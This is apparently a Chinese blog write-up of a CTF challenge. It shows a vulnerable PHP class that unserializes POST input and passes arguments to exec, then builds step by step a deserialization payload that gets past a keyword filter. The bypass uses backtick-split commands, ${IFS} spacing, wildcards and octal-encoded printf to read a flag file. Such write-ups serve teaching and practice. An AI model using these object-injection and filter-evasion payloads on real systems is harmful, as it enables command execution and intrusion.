首页 > 系统相关 >江苏工匠杯unseping(反序列化+Linux命令执行{$(printf '\154\163')})

江苏工匠杯unseping(反序列化+Linux命令执行{$(printf '\154\163')})

时间:2022-10-22 11:12:33浏览次数:48  
标签:154 args 61 flag 137 printf array 序列化

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

首先上我的payload:

<?php
    class ease{
    
        private $method = 'ping';
        private $args = array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');

    }
    $a = new ease();
    $b = serialize($a);
    //echo $b;
    echo "<br>";
    echo base64_encode($b);
?>

下面一步一步讲解:

首先:

php的反序列化不说了(看懂代码),注意一个小点是这里的args必须是一个数组形式,因为__wakeup函数。

当然了,写我们的具体payload之前进行一个简单的小测试来确保我们的后续payload“确定”能够正常运行,很简单,只要修改如下即可:

        private $args = array('id');

然后提交我们的payload发现可以正常执行。

 

 

下一步:获取一下目录文件(这里的过滤绕过方法很多,别局限。)

private $args = array('l``s');

得到如下结果:

array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }

 

 

再次ls一下(万一flag那个东西是目录):

private $args = array('l``s${IFS}fl?g_1s_here');

得到如下结果:

array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }

 

接下来的问题是如何获取内容呢,过滤了 & 和 / 这就很麻烦咯。

做个实验:先看结果

$()这个不用多说,重要的是里面的\154\163这是反斜杠加了八进制ascill码154==l,163==s。

附上我的字符串转8进制脚本如下:

str = 'cat flag_1s_here/flag_831b69012c67b35f.php'
for i in str:
    print(oct(ord(i)).replace('0o','\\'),end='')
\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160

修改payload如下:

private $args = array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');

然后运行提交即可。

 

标签:154,args,61,flag,137,printf,array,序列化
From: https://www.cnblogs.com/meng-han/p/16815618.html

相关文章

  • 序列化器---netty
    packagecn.itcast.protocol;importcom.google.gson.*;importjava.io.*;importjava.lang.reflect.Type;importjava.nio.charset.StandardCharsets;/***用......
  • AcWing 154.滑动窗口
    AcWing154.滑动窗口题目描述给定一个大小为n≤10^6的数组。有一个大小为k的滑动窗口,它从数组的最左边移动到最右边。你只能在窗口中看到k个数字。每次滑动窗口......
  • .NET Core 3.0使用JsonSerializer(System.Text.Json)序列化和反序列化JSON
    本文主要介绍.NETCore3.0中,使用JsonSerializer(System.Text.Json)对JSON数据进行序列化和反序列化的方法及示例代码。 1、使用的命名空间usingSystem.Text.Json;......
  • 直播平台开发,序列化时实现任意类型自定义转换
    直播平台开发,序列化时实现任意类型自定义转换1、前言在对象进行序列化时,希望对序列化的字段进行格式化处理,比如:Double与String转换、BigDecimal与String转换、Long与Date......
  • go json.Marshal序列化/解析失败的一种情况
    读取mysql返回struct体数据printf时可以打印通过json解析一直为空经过多方测试发现是struct内部变量命名时被写成了小写开头猜测:go定义内部变量/函数时,小写开头为私有,大......
  • drf-序列化和反序列化
    https://www.bilibili.com/video/BV1z5411D7BQ?p=8&vd_source=caabcbd2a759a67e2a3de8acbaaf08ea models.pyfromdjango.dbimportmodels#Createyourmodelsher......
  • test34-文件输入输出序列化和反序列化 msgpack map用法
    #!/usr/bin/envpython#-*-encoding:utf-8-*-'''importcsvheaders=['学号','姓名','分数']rows=[('202001','张三','98'),('202002','李四','95'),('202003&......
  • gson序列化null
    问题:当一个字段为null时,json数据不显示字段名称Mapm=NewHashMap();m.put(“a”,null);输出:newGson().toJson(m);预期结果:{a:null}实际结果:{}解决方式:使用GsonBui......
  • 源码分析之序列化器的many关键字
    在序列多个数据时,我们需要指定一个关键字many=True这是为什么呢?其实是,当序列化器产生对象时,传入参数many和不传入会生成两个不同的对象!!这是怎么实现的呢??1.类的对象生......
  • 序列化
    序列化api接口开发,最核心最常见的一个代码编写过程就是序列化,所谓序列化就是把数据转换格式,常见的序列化方式:json、pickle、base64、struct...序列化可以分为俩个阶段:""......